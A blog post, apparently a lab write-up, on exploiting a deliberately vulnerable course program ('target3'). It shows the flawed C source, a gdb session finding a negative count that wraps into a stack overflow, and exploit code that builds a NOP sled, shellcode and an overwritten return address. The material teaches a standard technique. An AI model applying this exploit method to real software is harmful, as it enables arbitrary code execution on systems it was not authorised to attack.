Blog Bug's

bugging blogs

on Target 3…

Suggested readings :
Basic Integer Overflows
On Target 1

Examining /tmp/target3 in Detail

code of executable /tmp/target3 (target3.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct widget_t {
  double x;
  double y;
  int count;
};

#define MAX_WIDGETS 1000

int foo(char *in, int count)
{
  struct widget_t buf[MAX_WIDGETS];

  if (count < MAX_WIDGETS)
    memcpy(buf, in, count * sizeof(struct widget_t));

  return 0;
}

int main(int argc, char *argv[])
{
  int count;
  char *in;

  if (argc != 2)
    {
      fprintf(stderr, "target3: argc != 2\n");
      exit(EXIT_FAILURE);
    }

  /*
   * format of argv[1] is as follows:
   *
   * - a count, encoded as a decimal number in ASCII
   * - a comma (",")
   * - the remainder of the data, treated as an array
   *   of struct widget_t
   */

  count = (int)strtoul(argv[1], &in, 10);
  if (*in != ',')
    {
      fprintf(stderr, "target3: argument format is [count],[data]\n");
      exit(EXIT_FAILURE);
    }
  in++;                         /* advance one byte, past the comma */
  foo(in, count);

  return 0;
}

On close inspection, maximum size of buf is 20000 bytes. The struct widget_t has size of 20 (two 8-byte double x & y and a 4-byte int count, see lines 5 to 9 above).  We have defined 1000 of it (widget_t, see lines 11 and 15 above), so allowable size (of buf) is equal to 20 x 1000 (= 20000) bytes. To overflow buf, our input data should be longer than it (> 20000). We should also consider the format of the actual input which is <count>,<data> where count is the number of widget_t and data is the input data string as we used to like in the previous exploits. An example of correctly running the program (target3) on the environment shell is /tmp/target3 1,aaaaaaaaaaaaaaaaaaaa. A sample program below can be used to exploit the program above.

To exploit the program, the idea is assign a negative number within the range of int to count which will still satistify , count < MAX_WIDGETS, on line 17 above, and when multiplied by sizeof(struct widget_t), i.e. 20 (see line 18 above), the number will be too much negative that it (negative number) will out-range int. Too negative numbers will wrap around int and will be positive, so memcpy(buf, in, count * sizeof(struct widget_t)) on line 18 above, in a way can cause in to overflow buf.

modified code of executable ./sploit3 (sploit3.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target3"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[20005];
  char *count;
  int i;
  int addr;

  count = "999";
  for(i = 0; i < 20005; i++) {
    if(i < strlen(count)) {
      *(buf + i) = count[i];
    } else if(i < (strlen(count) + 1)) {
      *(buf + i) = ',';
    } else if(i < (20000 + strlen(count) + 1)) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00';
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

Like in sploit1, use gdb to examine foo‘s frame. Examine also the appropriate negative value for count with set and call command.

user@box:~/pp1/sploits$ gdb -e sploit3 -s /tmp/target3
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit3
Executing new program: /proc/2979/exe
/proc/2979/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804846d: file target3.c, line 17.
(gdb) continue
Continuing.
[New process 2979]
[Switching to process 2979]

Breakpoint 2, foo (in=0xbfffb1ce 'a' <repeats 200 times>..., count=999) at target3.c:17
17	target3.c: No such file or directory.
	in target3.c
(gdb) info frame
Stack level 0, frame at 0xbfffb040:
 eip = 0x804846d in foo (target3.c:17); saved eip 0x804856b
 called by frame at 0xbfffb070
 source language c.
 Arglist at 0xbfffb038, args: in=0xbfffb1ce 'a' <repeats 200 times>..., count=999
 Locals at 0xbfffb038, Previous frame's sp is 0xbfffb040
 Saved registers:
  ebp at 0xbfffb038, eip at 0xbfffb03c
(gdb) x buf
0xbfff6218:	0x00000000
(gdb) x 0xbfffb038
0xbfffb038:	0xbfffb068
(gdb) x 0xbfffb03c
0xbfffb03c:	0x0804856b
(gdb) x 0xbfffb040
0xbfffb040:	0xbfffb1ce
(gdb) x 0xbfffb044
0xbfffb044:	0x000003e7
(gdb) call count * sizeof(struct widget_t)
$1 = 19980
(gdb) set count = -1
(gdb) call count * sizeof(struct widget_t)
$2 = -20
(gdb) set count = -2147482647
(gdb) call count * sizeof(struct widget_t)
$3 = 20020

Results of gdb show that -2147482647 for count is enough to overflow buf (buf[20000]). Also we can visualize foo‘s frame as :

[     -local_var-      ][   -ebp-   ][   -eip-   ][       -params-        ]
[bfff62--              ][bfffb0--   ][bfffb0--   ][bfffb0--               ]  -> first 3 bytes of addresses
[18|19|1a|1b|... ...|37][38|39|3a|3b][3c|3d|3e|3f][40|41|42|43|44|45|46|47]  -> last bytes of addresses
[00|00|00|00|...    ...][68|b0|ff|bf][6b|85|04|08][ce|b1|ff|bf|e7|03|00|00]  -> data
|-----20000 bytes------|

Using overflow method in sploit1 (you can also use sploit2 method), our buffer overflow can be like this :

[     -local_var-      ][   -ebp-   ][   -eip-   ][       -params-        ]
[bfff62--              ][bfffb0--   ][bfffb0--   ][bfffb0--               ]  -> first 3 bytes of addresses
[18|19|1a|1b|... ...|37][38|39|3a|3b][3c|3d|3e|3f][40|41|42|43|44|45|46|47]  -> last bytes of addresses
[00|00|00|00|...    ...][68|b0|ff|bf][6b|85|04|08][ce|b1|ff|bf|e7|03|00|00]  -> data

[<nop>...   <shellcode>][<filler>...][18|62|ff|bf][00|00|00|00|00|00|00|00][00|00|00|00|  -> buffer overflow
|-----------------------------------20020 bytes----------------------------------------|

to implement, below is a sample edit of the for loop in sploit3.c :

  addr = 0xbfff6218;
  count = "-2147482647";
  for(i = 0; i < 20032; i++) {
    if(i < strlen(count)) {
      *(buf + i) = count[i]; // <count>
    } else if(i < (strlen(count) + 1)) {
      *(buf + i) = ','; // <comma>
    } else if(i < (20000 + strlen(count) + 1 - strlen(shellcode))) {
      *(buf + i) = '\x90'; // <nop>
    } else if(i < (20000 + strlen(count) + 1)) {
      *(buf + i) = shellcode[i - 20000 - strlen(count) - 1 + strlen(shellcode)]; // <shellcode>
    } else if(i < (20004 + strlen(count) + 1)) {
      *(buf + i) = '\x90'; // <filler>
    } else if(i < (20008 + strlen(count) + 1)) {
       *(buf + i) = addr >> ((i - 20000 - strlen(count) - 1) * 8); // <eip>
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }
posted by ninoy in Hack 101 and have Comments (3)

3 Responses to “on Target 3…”

  1. Took me time to read the whole article, the article is great but the comments bring more brainstorm ideas, thanks.

    – Johnson

  2. Urban Kreutz says:

    Super-Duper site! I am loving it!! Will come back again – taking you feeds also, Thanks.

  3. Hey very nice blog!! Man .. Beautiful .. Amazing .. I will bookmark your blog and take the feeds
    also…

Place your comment

Please fill your data and comment below.
Name
Email
Website
Your comment